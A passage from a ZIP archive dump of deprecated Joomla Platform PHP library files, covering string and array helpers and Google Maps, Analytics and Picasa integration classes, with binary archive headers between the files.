emailToUTF8($email) { return JStringPunycode::emailToUTF8($email); } } PK�\)Y��mm#joomla/string/wrapper/normalise.phpnu�[���<?php /** * @package Joomla.Platform * @subpackage String * * @copyright (C) 2014 Open Source Matters, Inc. <https://www.joomla.org> * @license GNU General Public License version 2 or later; see LICENSE */ defined('JPATH_PLATFORM') or die; /** * Wrapper class for JStringNormalise * * @package Joomla.Platform * @subpackage String * @since 3.4 * @deprecated 4.0 Will be removed without replacement */ class JStringWrapperNormalise { /** * Helper wrapper method for fromCamelCase * * @param string $input The string input (ASCII only). * @param boolean $grouped Optionally allows splitting on groups of uppercase characters. * * @return mixed The space separated string or an array of substrings if grouped is true. * * @see JUserHelper::fromCamelCase() * @since 3.4 */ public function fromCamelCase($input, $grouped = false) { return JStringNormalise::fromCamelCase($input, $grouped); } /** * Helper wrapper method for toCamelCase * * @param string $input The string input (ASCII only). * * @return string The camel case string. * * @see JUserHelper::toCamelCase() * @since 3.4 */ public function toCamelCase($input) { return JStringNormalise::toCamelCase($input); } /** * Helper wrapper method for toDashSeparated * * @param string $input The string input (ASCII only). * * @return string The dash separated string. * * @see JUserHelper::toDashSeparated() * @since 3.4 */ public function toDashSeparated($input) { return JStringNormalise::toDashSeparated($input); } /** * Helper wrapper method for toSpaceSeparated * * @param string $input The string input (ASCII only). * * @return string The space separated string. * * @see JUserHelper::toSpaceSeparated() * @since 3.4 */ public function toSpaceSeparated($input) { return JStringNormalise::toSpaceSeparated($input); } /** * Helper wrapper method for toUnderscoreSeparated * * @param string $input The string input (ASCII only). * * @return string The underscore separated string. * * @see JUserHelper::toUnderscoreSeparated() * @since 3.4 */ public function toUnderscoreSeparated($input) { return JStringNormalise::toUnderscoreSeparated($input); } /** * Helper wrapper method for toVariable * * @param string $input The string input (ASCII only). * * @return string The variable string. * * @see JUserHelper::toVariable() * @since 3.4 */ public function toVariable($input) { return JStringNormalise::toVariable($input); } /** * Helper wrapper method for toKey * * @param string $input The string input (ASCII only). * * @return string The key string. * * @see JUserHelper::toKey() * @since 3.4 */ public function toKey($input) { return JStringNormalise::toKey($input); } } PK�\��8��+�+ joomla/utilities/arrayhelper.phpnu�[���<?php /** * @package Joomla.Platform * @subpackage Utilities * * @copyright (C) 2006 Open Source Matters, Inc. <https://www.joomla.org> * @license GNU General Public License version 2 or later; see LICENSE */ defined('JPATH_PLATFORM') or die; use Joomla\String\StringHelper; use Joomla\Utilities\ArrayHelper; /** * JArrayHelper is an array utility class for doing all sorts of odds and ends with arrays. * * @since 1.7.0 * @deprecated 4.0 Use Joomla\Utilities\ArrayHelper instead */ abstract class JArrayHelper { /** * Option to perform case-sensitive sorts. * * @var mixed Boolean or array of booleans. * @since 1.7.3 */ protected static $sortCase; /** * Option to set the sort direction. * * @var mixed Integer or array of integers. * @since 1.7.3 */ protected static $sortDirection; /** * Option to set the object key to sort on. * * @var string * @since 1.7.3 */ protected static $sortKey; /** * Option to perform a language aware sort. * * @var mixed Boolean or array of booleans. * @since 1.7.3 */ protected static $sortLocale; /** * Function to convert array to integer values * * @param array &$array The source array to convert * @param mixed $default A default value (int|array) to assign if $array is not an array * * @return void * * @since 1.7.0 * @deprecated 4.0 Use Joomla\Utilities\ArrayHelper::toInteger instead */ public static function toInteger(&$array, $default = null) { $array = ArrayHelper::toInteger($array, $default); } /** * Utility function to map an array to a stdClass object. * * @param array &$array The array to map. * @param string $class Name of the class to create * @param boolean $recursive Convert also any array inside the main array * * @return object The object mapped from the given array * * @since 1.7.0 * @deprecated 4.0 Use Joomla\Utilities\ArrayHelper::toObject instead */ public static function toObject(&$array, $class = 'stdClass', $recursive = true) { $obj = null; if (is_array($array)) { $obj = ArrayHelper::toObject($array, $class, $recursive); } else { JLog::add('This method is typehinted to be an array in \Joomla\Utilities\ArrayHelper::toObject.', JLog::WARNING, 'deprecated'); } return $obj; } /** * Utility function to map an array to a string. * * @param array $array The array to map. * @param string $innerGlue The glue (optional, defaults to '=') between the key and the value. * @param string $outerGlue The glue (optional, defaults to ' ') between array elements. * @param boolean $keepOuterKey True if final key should be kept. * * @return string The string mapped from the given array * * @since 1.7.0 * @deprecated 4.0 Use Joomla\Utilities\ArrayHelper::toString instead */ public static function toString($array = null, $innerGlue = '=', $outerGlue = ' ', $keepOuterKey = false) { $output = array(); if (is_array($array)) { $output[] = ArrayHelper::toString($array, $innerGlue, $outerGlue, $keepOuterKey); } else { JLog::add('This method is typehinted to be an array in \Joomla\Utilities\ArrayHelper::toString.', JLog::WARNING, 'deprecated'); } return implode($outerGlue, $output); } /** * Utility function to map an object to an array * * @param object $object The source object * @param boolean $recurse True to recurse through multi-level objects * @param string $regex An optional regular expression to match on field names * * @return array The array mapped from the given object * * @since 1.7.0 * @deprecated 4.0 Use Joomla\Utilities\ArrayHelper::fromObject instead */ public static function fromObject($object, $recurse = true, $regex = null) { if (is_object($object)) { return self::_fromObject($object, $recurse, $regex); } else { return null; } } /** * Utility function to map an object or array to an array * * @param mixed $item The source object or array * @param boolean $recurse True to recurse through multi-level objects * @param string $regex An optional regular expression to match on field names * * @return array The array mapped from the given object * * @since 1.7.0 */ protected static function _fromObject($item, $recurse, $regex) { if (is_object($item)) { $result = array(); foreach (get_object_vars($item) as $k => $v) { if (!$regex || preg_match($regex, $k)) { if ($recurse) { $result[$k] = self::_fromObject($v, $recurse, $regex); } else { $result[$k] = $v; } } } } elseif (is_array($item)) { $result = array(); foreach ($item as $k => $v) { $result[$k] = self::_fromObject($v, $recurse, $regex); } } else { $result = $item; } return $result; } /** * Extracts a column from an array of arrays or objects * * @param array &$array The source array * @param string $index The index of the column or name of object property * * @return array Column of values from the source array * * @since 1.7.0 * @deprecated 4.0 Use Joomla\Utilities\ArrayHelper::getColumn instead */ public static function getColumn(&$array, $index) { $result = array(); if (is_array($array)) { $result = ArrayHelper::getColumn($array, $index); } else { JLog::add('This method is typehinted to be an array in \Joomla\Utilities\ArrayHelper::getColumn.', JLog::WARNING, 'deprecated'); } return $result; } /** * Utility function to return a value from a named array or a specified default * * @param array &$array A named array * @param string $name The key to search for * @param mixed $default The default value to give if no key found * @param string $type Return type for the variable (INT, FLOAT, STRING, WORD, BOOLEAN, ARRAY) * * @return mixed The value from the source array * * @since 1.7.0 * @deprecated 4.0 Use Joomla\Utilities\ArrayHelper::getValue instead */ public static function getValue(&$array, $name, $default = null, $type = '') { // Previously we didn't typehint an array. So force any object to be an array return ArrayHelper::getValue((array) $array, $name, $default, $type); } /** * Takes an associative array of arrays and inverts the array keys to values using the array values as keys. * * Example: * $input = array( * 'New' => array('1000', '1500', '1750'), * 'Used' => array('3000', '4000', '5000', '6000') * ); * $output = JArrayHelper::invert($input); * * Output would be equal to: * $output = array( * '1000' => 'New', * '1500' => 'New', * '1750' => 'New', * '3000' => 'Used', * '4000' => 'Used', * '5000' => 'Used', * '6000' => 'Used' * ); * * @param array $array The source array. * * @return array The inverted array. * * @since 3.1.4 * @deprecated 4.0 Use Joomla\Utilities\ArrayHelper::invert instead */ public static function invert($array) { return ArrayHelper::invert($array); } /** * Method to determine if an array is an associative array. * * @param array $array An array to test. * * @return boolean True if the array is an associative array. * * @since 1.7.0 * @deprecated 4.0 Use Joomla\Utilities\ArrayHelper::isAssociative instead */ public static function isAssociative($array) { return ArrayHelper::isAssociative($array); } /** * Pivots an array to create a reverse lookup of an array of scalars, arrays or objects. * * @param array $source The source array. * @param string $key Where the elements of the source array are objects or arrays, the key to pivot on. * * @return array An array of arrays pivoted either on the value of the keys, or an individual key of an object or array. * * @since 1.7.3 * @deprecated 4.0 Use Joomla\Utilities\ArrayHelper::pivot instead */ public static function pivot($source, $key = null) { $result = array(); if (is_array($source)) { $result = ArrayHelper::pivot($source, $key); } else { JLog::add('This method is typehinted to be an array in \Joomla\Utilities\ArrayHelper::pivot.', JLog::WARNING, 'deprecated'); } return $result; } /** * Utility function to sort an array of objects on a given field * * @param array &$a An array of objects * @param mixed $k The key (string) or an array of keys to sort on * @param mixed $direction Direction (integer) or an array of direction to sort in [1 = Ascending] [-1 = Descending] * @param mixed $caseSensitive Boolean or array of booleans to let sort occur case sensitive or insensitive * @param mixed $locale Boolean or array of booleans to let sort occur using the locale language or not * * @return array The sorted array of objects * * @since 1.7.0 * @deprecated 4.0 Use Joomla\Utilities\ArrayHelper::sortObjects instead */ public static function sortObjects(&$a, $k, $direction = 1, $caseSensitive = true, $locale = false) { if (!is_array($locale) || !is_array($locale[0])) { $locale = array($locale); } self::$sortCase = (array) $caseSensitive; self::$sortDirection = (array) $direction; self::$sortKey = (array) $k; self::$sortLocale = $locale; usort($a, array(__CLASS__, '_sortObjects')); self::$sortCase = null; self::$sortDirection = null; self::$sortKey = null; self::$sortLocale = null; return $a; } /** * Callback function for sorting an array of objects on a key * * @param array $a An array of objects * @param array $b An array of objects * * @return integer Comparison status * * @see JArrayHelper::sortObjects() * @since 1.7.0 */ protected static function _sortObjects($a, $b) { $key = self::$sortKey; for ($i = 0, $count = count($key); $i < $count; $i++) { if (isset(self::$sortDirection[$i])) { $direction = self::$sortDirection[$i]; } if (isset(self::$sortCase[$i])) { $caseSensitive = self::$sortCase[$i]; } if (isset(self::$sortLocale[$i])) { $locale = self::$sortLocale[$i]; } $va = $a->{$key[$i]}; $vb = $b->{$key[$i]}; if ((is_bool($va) || is_numeric($va)) && (is_bool($vb) || is_numeric($vb))) { $cmp = $va - $vb; } elseif ($caseSensitive) { $cmp = StringHelper::strcmp($va, $vb, $locale); } else { $cmp = StringHelper::strcasecmp($va, $vb, $locale); } if ($cmp > 0) { return $direction; } if ($cmp < 0) { return -$direction; } } return 0; } /** * Multidimensional array safe unique test * * @param array $myArray The array to make unique. * * @return array * * @link https://www.php.net/manual/en/function.array-unique.php * @since 1.7.0 * @deprecated 4.0 Use Joomla\Utilities\ArrayHelper::arrayUnique instead */ public static function arrayUnique($myArray) { return is_array($myArray) ? ArrayHelper::arrayUnique($myArray) : $myArray; } } PK�\�d�9��joomla/google/auth.phpnu�[���<?php /** * @package Joomla.Platform * @subpackage Google * * @copyright (C) 2013 Open Source Matters, Inc. <https://www.joomla.org> * @license GNU General Public License version 2 or later; see LICENSE */ defined('JPATH_PLATFORM') or die; /** * Google authentication class abstract * * @since 3.1.4 * @deprecated 4.0 Use the `joomla/google` package via Composer instead */ abstract class JGoogleAuth { /** * @var \Joomla\Registry\Registry Options for the Google authentication object. * @since 3.1.4 */ protected $options; /** * Abstract method to authenticate to Google * * @return boolean True on success. * * @since 3.1.4 */ abstract public function authenticate(); /** * Verify if the client has been authenticated * * @return boolean Is authenticated * * @since 3.1.4 */ abstract public function isAuthenticated(); /** * Abstract method to retrieve data from Google * * @param string $url The URL for the request. * @param mixed $data The data to include in the request. * @param array $headers The headers to send with the request. * @param string $method The type of http request to send. * * @return mixed Data from Google. * * @since 3.1.4 */ abstract public function query($url, $data = null, $headers = null, $method = 'get'); /** * Get an option from the JGoogleAuth object. * * @param string $key The name of the option to get. * * @return mixed The option value. * * @since 3.1.4 */ public function getOption($key) { return $this->options->get($key); } /** * Set an option for the JGoogleAuth object. * * @param string $key The name of the option to set. * @param mixed $value The option value to set. * * @return JGoogleAuth This object for method chaining. * * @since 3.1.4 */ public function setOption($key, $value) { $this->options->set($key, $value); return $this; } } PK�\x}0u�C�Cjoomla/google/embed/maps.phpnu�[���<?php /** * @package Joomla.Platform * @subpackage Google * * @copyright (C) 2013 Open Source Matters, Inc. <https://www.joomla.org> * @license GNU General Public License version 2 or later; see LICENSE */ defined('JPATH_PLATFORM') or die; use Joomla\Registry\Registry; /** * Google Maps embed class for the Joomla Platform. * * @since 3.1.4 * @deprecated 4.0 Use the `joomla/google` package via Composer instead */ class JGoogleEmbedMaps extends JGoogleEmbed { /** * @var JHttp The HTTP client object to use in sending HTTP requests. * @since 3.1.4 */ protected $http; /** * Constructor. * * @param Registry $options Google options object * @param JUri $uri URL of the page being rendered * @param JHttp $http Http client for geocoding requests * * @since 3.1.4 */ public function __construct(Registry $options = null, JUri $uri = null, JHttp $http = null) { parent::__construct($options, $uri); $this->http = $http ? $http : new JHttp($this->options); } /** * Method to get the API key * * @return string The Google Maps API key * * @since 3.1.4 */ public function getKey() { return $this->getOption('key'); } /** * Method to set the API key * * @param string $key The Google Maps API key * * @return JGoogleEmbedMaps The object for method chaining * * @since 3.1.4 */ public function setKey($key) { $this->setOption('key', $key); return $this; } /** * Method to get the id of the map div * * @return string The ID * * @since 3.1.4 */ public function getMapId() { return $this->getOption('mapid') ? $this->getOption('mapid') : 'map_canvas'; } /** * Method to set the map div id * * @param string $id The ID * * @return JGoogleEmbedMaps The object for method chaining * * @since 3.1.4 */ public function setMapId($id) { $this->setOption('mapid', $id); return $this; } /** * Method to get the class of the map div * * @return string The class * * @since 3.1.4 */ public function getMapClass() { return $this->getOption('mapclass') ? $this->getOption('mapclass') : ''; } /** * Method to set the map div class * * @param string $class The class * * @return JGoogleEmbedMaps The object for method chaining * * @since 3.1.4 */ public function setMapClass($class) { $this->setOption('mapclass', $class); return $this; } /** * Method to get the style of the map div * * @return string The style * * @since 3.1.4 */ public function getMapStyle() { return $this->getOption('mapstyle') ? $this->getOption('mapstyle') : ''; } /** * Method to set the map div style * * @param string $style The style * * @return JGoogleEmbedMaps The object for method chaining * * @since 3.1.4 */ public function setMapStyle($style) { $this->setOption('mapstyle', $style); return $this; } /** * Method to get the map type setting * * @return string The class * * @since 3.1.4 */ public function getMapType() { return $this->getOption('maptype') ? $this->getOption('maptype') : 'ROADMAP'; } /** * Method to set the map type () * * @param string $type Valid types are ROADMAP, SATELLITE, HYBRID, and TERRAIN * * @return JGoogleEmbedMaps The object for method chaining * * @since 3.1.4 */ public function setMapType($type) { $this->setOption('maptype', strtoupper($type)); return $this; } /** * Method to get additional map options * * @return string The options * * @since 3.1.4 */ public function getAdditionalMapOptions() { return $this->getOption('mapoptions') ? $this->getOption('mapoptions') : array(); } /** * Method to add additional map options * * @param array $options Additional map options * * @return JGoogleEmbedMaps The object for method chaining * * @since 3.1.4 */ public function setAdditionalMapOptions($options) { $this->setOption('mapoptions', $options); return $this; } /** * Method to get additional map options * * @return string The options * * @since 3.1.4 */ public function getAdditionalJavascript() { return $this->getOption('extrascript') ? $this->getOption('extrascript') : ''; } /** * Method to add additional javascript * * @param array $script Additional javascript * * @return JGoogleEmbedMaps The object for method chaining * * @since 3.1.4 */ public function setAdditionalJavascript($script) { $this->setOption('extrascript', $script); return $this; } /** * Method to get the zoom * * @return int The zoom level * * @since 3.1.4 */ public function getZoom() { return $this->getOption('zoom') ? $this->getOption('zoom') : 0; } /** * Method to set the map zoom * * @param int $zoom Zoom level (0 is whole world) * * @return JGoogleEmbedMaps The object for method chaining * * @since 3.1.4 */ public function setZoom($zoom) { $this->setOption('zoom', $zoom); return $this; } /** * Method to set the center of the map * * @return mixed A latitude longitude array or an address string * * @since 3.1.4 */ public function getCenter() { return $this->getOption('mapcenter') ? $this->getOption('mapcenter') : array(0, 0); } /** * Method to set the center of the map * * @param mixed $location A latitude/longitude array or an address string * @param mixed $title Title of marker or false for no marker * @param array $markeroptions Options for marker * @param array $markerevents Events for marker * * @example with events call: * $map->setCenter( * array(0, 0), * 'Map Center', * array(), * array( * 'click' => 'function() { // code goes here } * ) * ) * * @return JGoogleEmbedMaps The latitude/longitude of the center or false on failure * * @since 3.1.4 */ public function setCenter($location, $title = true, $markeroptions = array(), $markerevents = array()) { if ($title) { $title = is_string($title) ? $title : null; if (!$marker = $this->addMarker($location, $title, $markeroptions, $markerevents)) { return false; } $location = $marker['loc']; } elseif (is_string($location)) { $geocode = $this->geocodeAddress($location); if (!$geocode) { return false; } $location = $geocode['geometry']['location']; $location = array_values($location); } $this->setOption('mapcenter', $location); return $this; } /** * Method to add an event handler to the map. * Event handlers must be passed in either as callback name or fully qualified function declaration * * @param string $type The event name * @param string $function The event handling function body * * @example to add an event call: * $map->addEventHandler('click', 'function(){ alert("map click event"); }'); * * @return JGoogleEmbedMaps The object for method chaining * * @since 3.1.4 */ public function addEventHandler($type, $function) { $events = $this->listEventHandlers(); $events[$type] = $function; $this->setOption('events', $events); return $this; } /** * Method to remove an event handler from the map * * @param string $type The event name * * @example to delete an event call: * $map->deleteEventHandler('click'); * * @return string The event handler content * * @since 3.1.4 */ public function deleteEventHandler($type = null) { $events = $this->listEventHandlers(); if ($type === null || !isset($events[$type])) { return; } $event = $events[$type]; unset($events[$type]); $this->setOption('events', $events); return $event; } /** * List the events added to the map * * @return array A list of events * * @since 3.1.4 */ public function listEventHandlers() { return $this->getOption('events') ? $this->getOption('events') : array(); } /** * Add a marker to the map * * @param mixed $location A latitude/longitude array or an address string * @param mixed $title The hover-text for the marker * @param array $options Options for marker * @param array $events Events for marker * * @example with events call: * $map->addMarker( * array(0, 0), * 'My Marker', * array(), * array( * 'click' => 'function() { // code goes here } * ) * ) * * @return mixed The marker or false on failure * * @since 3.1.4 */ public function addMarker($location, $title = null, $options = array(), $events = array()) { if (is_string($location)) { if (!$title) { $title = $location; } $geocode = $this->geocodeAddress($location); if (!$geocode) { return false; } $location = $geocode['geometry']['location']; } elseif (!$title) { $title = implode(', ', $location); } $location = array_values($location); $marker = array('loc' => $location, 'title' => $title, 'options' => $options, 'events' => $events); $markers = $this->listMarkers(); $markers[] = $marker; $this->setOption('markers', $markers); return $marker; } /** * List the markers added to the map * * @return array A list of markers * * @since 3.1.4 */ public function listMarkers() { return $this->getOption('markers') ? $this->getOption('markers') : array(); } /** * Delete a marker from the map * * @param int $index Index of marker to delete (defaults to last added marker) * * @return array The latitude/longitude of the deleted marker * * @since 3.1.4 */ public function deleteMarker($index = null) { $markers = $this->listMarkers(); if ($index === null) { $index = count($markers) - 1; } if ($index >= count($markers) || $index < 0) { throw new OutOfBoundsException('Marker index out of bounds.'); } $marker = $markers[$index]; unset($markers[$index]); $markers = array_values($markers); $this->setOption('markers', $markers); return $marker; } /** * Checks if the javascript is set to be asynchronous * * @return boolean True if asynchronous * * @since 3.1.4 */ public function isAsync() { return $this->getOption('async') === null ? true : $this->getOption('async'); } /** * Load javascript asynchronously * * @return JGoogleEmbedMaps The object for method chaining * * @since 3.1.4 */ public function useAsync() { $this->setOption('async', true); return $this; } /** * Load javascript synchronously * * @return JGoogleEmbedAMaps The object for method chaining * * @since 3.1.4 */ public function useSync() { $this->setOption('async', false); return $this; } /** * Method to get callback function for async javascript loading * * @return string The ID * * @since 3.1.4 */ public function getAsyncCallback() { return $this->getOption('callback') ? $this->getOption('callback') : 'initialize'; } /** * Method to set the callback function for async javascript loading * * @param string $callback The callback function name * * @return JGoogleEmbedMaps The object for method chaining * * @since 3.1.4 */ public function setAsyncCallback($callback) { $this->setOption('callback', $callback); return $this; } /** * Checks if a sensor is set to be required * * @return boolean True if asynchronous * * @since 3.1.4 */ public function hasSensor() { return $this->getOption('sensor') === null ? false : $this->getOption('sensor'); } /** * Require access to sensor data * * @return JGoogleEmbedMaps The object for method chaining * * @since 3.1.4 */ public function useSensor() { $this->setOption('sensor', true); return $this; } /** * Don't require access to sensor data * * @return JGoogleEmbedAMaps The object for method chaining * * @since 3.1.4 */ public function noSensor() { $this->setOption('sensor', false); return $this; } /** * Checks how the script should be loaded * * @return string Autoload type (onload, jquery, mootools, or false) * * @since 3.1.4 */ public function getAutoload() { return $this->getOption('autoload') ? $this->getOption('autoload') : 'false'; } /** * Automatically add the callback to the window * * @param string $type The method to add the callback (options are onload, jquery, mootools, and false) * * @return JGoogleEmbedAMaps The object for method chaining * * @since 3.1.4 */ public function setAutoload($type = 'onload') { $this->setOption('autoload', $type); return $this; } /** * Get code to load Google Maps javascript * * @return string Javascript code * * @since 3.1.4 */ public function getHeader() { $zoom = $this->getZoom(); $center = $this->getCenter(); $maptype = $this->getMapType(); $id = $this->getMapId(); $scheme = $this->isSecure() ? 'https' : 'http'; $key = $this->getKey(); $sensor = $this->hasSensor() ? 'true' : 'false'; $setup = 'var mapOptions = {'; $setup .= "zoom: {$zoom},"; $setup .= "center: new google.maps.LatLng({$center[0]},{$center[1]}),"; $setup .= "mapTypeId: google.maps.MapTypeId.{$maptype},"; $setup .= substr(json_encode($this->getAdditionalMapOptions()), 1, -1); $setup .= '};'; $setup .= "var map = new google.maps.Map(document.getElementById('{$id}'), mapOptions);"; $events = $this->listEventHandlers(); if (isset($events) && count($events)) { foreach ($events as $type => $handler) { $setup .= "google.maps.event.addListener(map, '{$type}', {$handler});"; } } $markers = $this->listMarkers(); if (isset($markers) && count($markers)) { $setup .= 'var marker;'; foreach ($markers as $marker) { $loc = $marker['loc']; $title = $marker['title']; $options = $marker['options']; $setup .= 'marker = new google.maps.Marker({'; $setup .= "position: new google.maps.LatLng({$loc[0]},{$loc[1]}),"; $setup .= 'map: map,'; $setup .= "title:'{$title}',"; $setup .= substr(json_encode($options), 1, -1); $setup .= '});'; if (isset($marker['events']) && is_array($marker['events'])) { foreach ($marker['events'] as $type => $handler) { $setup .= 'google.maps.event.addListener(marker, "' . $type . '", ' . $handler . ');'; } } } } $setup .= $this->getAdditionalJavascript(); if ($this->isAsync()) { $asynccallback = $this->getAsyncCallback(); $output = '<script type="text/javascript">'; $output .= "function {$asynccallback}() {"; $output .= $setup; $output .= '}'; $onload = 'function() {'; $onload .= 'var script = document.createElement("script");'; $onload .= 'script.type = "text/javascript";'; $onload .= "script.src = '{$scheme}://maps.googleapis.com/maps/api/js?" . ($key ? "key={$key}&" : '') . "sensor={$sensor}&callback={$asynccallback}';"; $onload .= 'document.body.appendChild(script);'; $onload .= '}'; } else { $output = "<script type='text/javascript' src='{$scheme}://maps.googleapis.com/maps/api/js?" . ($key ? "key={$key}&" : '') . "sensor={$sensor}'>"; $output .= '</script>'; $output .= '<script type="text/javascript">'; $onload = 'function() {'; $onload .= $setup; $onload .= '}'; } switch ($this->getAutoload()) { case 'onload': $output .= "window.onload={$onload};"; break; case 'jquery': $output .= "jQuery(document).ready({$onload});"; break; case 'mootools': $output .= "window.addEvent('domready',{$onload});"; break; } $output .= '</script>'; return $output; } /** * Method to retrieve the div that the map is loaded into * * @return string The body * * @since 3.1.4 */ public function getBody() { $id = $this->getMapId(); $class = $this->getMapClass(); $style = $this->getMapStyle(); $output = "<div id='{$id}'"; if (!empty($class)) { $output .= " class='{$class}'"; } if (!empty($style)) { $output .= " style='{$style}'"; } $output .= '></div>'; return $output; } /** * Method to get the location information back from an address * * @param string $address The address to geocode * * @return array An array containing Google's geocode data * * @since 3.1.4 */ public function geocodeAddress($address) { $uri = JUri::getInstance('https://maps.googleapis.com/maps/api/geocode/json'); $uri->setVar('address', urlencode($address)); if (($key = $this->getKey())) { $uri->setVar('key', $key); } $response = $this->http->get($uri->toString()); if ($response->code < 200 || $response->code >= 300) { throw new RuntimeException('Error code ' . $response->code . ' received geocoding address: ' . $response->body . '.'); } $data = json_decode($response->body, true); if (!$data) { throw new RuntimeException('Invalid json received geocoding address: ' . $response->body . '.'); } if ($data['status'] != 'OK') { if (!empty($data['error_message'])) { throw new RuntimeException($data['error_message']); } return; } return $data['results'][0]; } } PK�\+� �HH!joomla/google/embed/analytics.phpnu�[���<?php /** * @package Joomla.Platform * @subpackage Google * * @copyright (C) 2013 Open Source Matters, Inc. <https://www.joomla.org> * @license GNU General Public License version 2 or later; see LICENSE */ defined('JPATH_PLATFORM') or die; /** * Google Analytics embed class for the Joomla Platform. * * @since 3.1.4 * @deprecated 4.0 Use the `joomla/google` package via Composer instead */ class JGoogleEmbedAnalytics extends JGoogleEmbed { /** * Method to get the tracking code * * @return string The Google Analytics tracking code * * @since 3.1.4 */ public function getCode() { return $this->getOption('code'); } /** * Method to set the tracking code * * @param string $code The Google Analytics tracking code * * @return JGoogleEmbedAnalytics The object for method chaining * * @since 3.1.4 */ public function setCode($code) { $this->setOption('code', $code); return $this; } /** * Checks if the javascript is set to be asynchronous * * @return boolean True if asynchronous * * @since 3.1.4 */ public function isAsync() { return $this->getOption('async') === null ? true : $this->getOption('async'); } /** * Load javascript asynchronously * * @return JGoogleEmbedAnalytics The object for method chaining * * @since 3.1.4 */ public function useAsync() { $this->setOption('async', true); return $this; } /** * Load javascript synchronously * * @return JGoogleEmbedAnalytics The object for method chaining * * @since 3.1.4 */ public function useSync() { $this->setOption('async', false); return $this; } /** * Add an analytics call * * @param string $method The name of the function * @param array $params The parameters for the call * * @return array The added call * * @since 3.1.4 */ public function addCall($method, $params = array()) { $call = array('name' => $method, 'params' => $params); $calls = $this->listCalls(); $calls[] = $call; $this->setOption('calls', $calls); return $call; } /** * List the analytics calls to be executed * * @return array A list of calls * * @since 3.1.4 */ public function listCalls() { return $this->getOption('calls') ? $this->getOption('calls') : array(); } /** * Delete a call from the stack * * @param int $index Index of call to delete (defaults to last added call) * * @return array The deleted call * * @since 3.1.4 */ public function deleteCall($index = null) { $calls = $this->listCalls(); if ($index === null) { $index = count($calls) - 1; } $call = $calls[$index]; unset($calls[$index]); $calls = array_values($calls); $this->setOption('calls', $calls); return $call; } /** * Create a javascript function from the call parameters * * @param string $method The name of the function * @param array $params The parameters for the call * * @return string The created call * * @since 3.1.4 */ public function createCall($method, $params = array()) { $params = array_values($params); if ($this->isAsync()) { $output = "_gaq.push(['{$method}',"; $output .= substr(json_encode($params), 1, -1); $output .= ']);'; } else { $output = "pageTracker.{$method}("; $output .= substr(json_encode($params), 1, -1); $output .= ');'; } return $output; } /** * Add a custom variable to the analytics * * @param int $slot The slot to store the variable in (1-5) * @param string $name The variable name * @param string $value The variable value * @param int $scope The scope of the variable (1: visitor level, 2: session level, 3: page level) * * @return array The added call * * @since 3.1.4 */ public function addCustomVar($slot, $name, $value, $scope = 3) { return $this->addCall('_setCustomVar', array($slot, $name, $value, $scope)); } /** * Get the code to create a custom analytics variable * * @param int $slot The slot to store the variable in (1-5) * @param string $name The variable name * @param string $value The variable value * @param int $scope The scope of the variable (1: visitor level, 2: session level, 3: page level) * * @return string The created call * * @since 3.1.4 */ public function createCustomVar($slot, $name, $value, $scope = 3) { return $this->createCall('_setCustomVar', array($slot, $name, $value, $scope)); } /** * Track an analytics event * * @param string $category The general event category * @param string $action The event action * @param string $label The event description * @param string $value The value of the event * @param boolean $noninteract Don't allow this event to impact bounce statistics * * @return array The added call * * @since 3.1.4 */ public function addEvent($category, $action, $label = null, $value = null, $noninteract = false) { return $this->addCall('_trackEvent', array($category, $action, $label, $value, $noninteract)); } /** * Get the code to track an analytics event * * @param string $category The general event category * @param string $action The event action * @param string $label The event description * @param string $value The value of the event * @param boolean $noninteract Don't allow this event to impact bounce statistics * * @return string The created call * * @since 3.1.4 */ public function createEvent($category, $action, $label = null, $value = null, $noninteract = false) { return $this->createCall('_trackEvent', array($category, $action, $label, $value, $noninteract)); } /** * Get code to load Google Analytics javascript * * @return string Javascript code * * @since 3.1.4 */ public function getHeader() { if (!$this->isAsync()) { // Synchronous code is included only in the body return ''; } if (!$this->getOption('code')) { throw new UnexpectedValueException('A Google Analytics tracking code is required.'); } $code = $this->getOption('code'); $output = '<script type="text/javascript">'; $output .= 'var _gaq = _gaq || [];'; $output .= "_gaq.push(['_setAccount', '{$code}']);"; foreach ($this->listCalls() as $call) { $output .= $this->createCall($call['name'], $call['params']); } $output .= '_gaq.push(["_trackPageview"]);'; $output .= '</script>'; return $output; } /** * Google Analytics only needs to be included in the header * * @return null * * @since 3.1.4 */ public function getBody() { if (!$this->getOption('code')) { throw new UnexpectedValueException('A Google Analytics tracking code is required.'); } $prefix = $this->isSecure() ? 'https://ssl' : 'http://www'; $code = $this->getOption('code'); if ($this->isAsync()) { $output = '<script type="text/javascript">'; $output .= '(function() {'; $output .= 'var ga = document.createElement("script"); ga.type = "text/javascript"; ga.async = true;'; $output .= "ga.src = '{$prefix}.google-analytics.com/ga.js';"; $output .= 'var s = document.getElementsByTagName("script")[0]; s.parentNode.insertBefore(ga, s);'; $output .= '})();'; $output .= '</script>'; } else { $output = '<script type="text/javascript">'; $output .= "document.write(unescape(\"%3Cscript src='{$prefix}.google-analytics.com/ga.js' type='text/javascript'%3E%3C/script%3E\"));"; $output .= '</script>'; $output .= '<script type="text/javascript">'; $output .= 'try{'; $output .= "var pageTracker = _gat._getTracker('{$code}');"; foreach ($this->listCalls() as $call) { $output .= $this->createCall($call['name'], $call['params']); } $output .= 'pageTracker._trackPageview();'; $output .= '} catch(err) {}</script>'; } return $output; } } PK�\��^0joomla/google/data/picasa.phpnu�[���<?php /** * @package Joomla.Platform * @subpackage Google * * @copyright (C) 2013 Open Source Matters, Inc. <https://www.joomla.org> * @license GNU General Public License version 2 or later; see LICENSE */ defined('JPATH_PLATFORM') or die; use Joomla\Registry\Registry; /** * Google Picasa data class for the Joomla Platform. * * @since 3.1.4 * @deprecated 4.0 Use the `joomla/google` package via Composer instead */ class JGoogleDataPicasa extends JGoogleData { /** * Constructor. * * @param Registry $options Google options object * @param JGoogleAuth $auth Google data http client object * * @since 3.1.4 */ public function __construct(Registry $options = null, JGoogleAuth $auth = null) { parent::__construct($options, $auth); if (isset($this->auth) && !$this->auth->getOption('scope')) { $this->auth->setOption('scope', 'https://picasaweb.google.com/data/'); } } /** * Method to retrieve a list of Picasa Albums * * @param string $userID ID of user * * @return mixed Data from Google * * @since 3.1.4 * @throws UnexpectedValueException */ public function listAlbums($userID = 'default') { if ($this->isAuthenticated()) { $url = 'https://picasaweb.google.com/data/feed/api/user/' . urlencode($userID); $jdata = $this->query($url, null, array('GData-Version' => 2)); $xml = $this->safeXml($jdata->body); if (isset($xml->children()->entry)) { $items = array(); foreach ($xml->children()->entry as $item) { $items[] = new JGoogleDataPicasaAlbum($item, $this->options, $this->auth); } return $items; } else { throw new UnexpectedValueException("Unexpected data received from Google: `{$jdata->body}`."); } } else { return false; } } /** * Method to create a Picasa Album * * @param string $userID ID 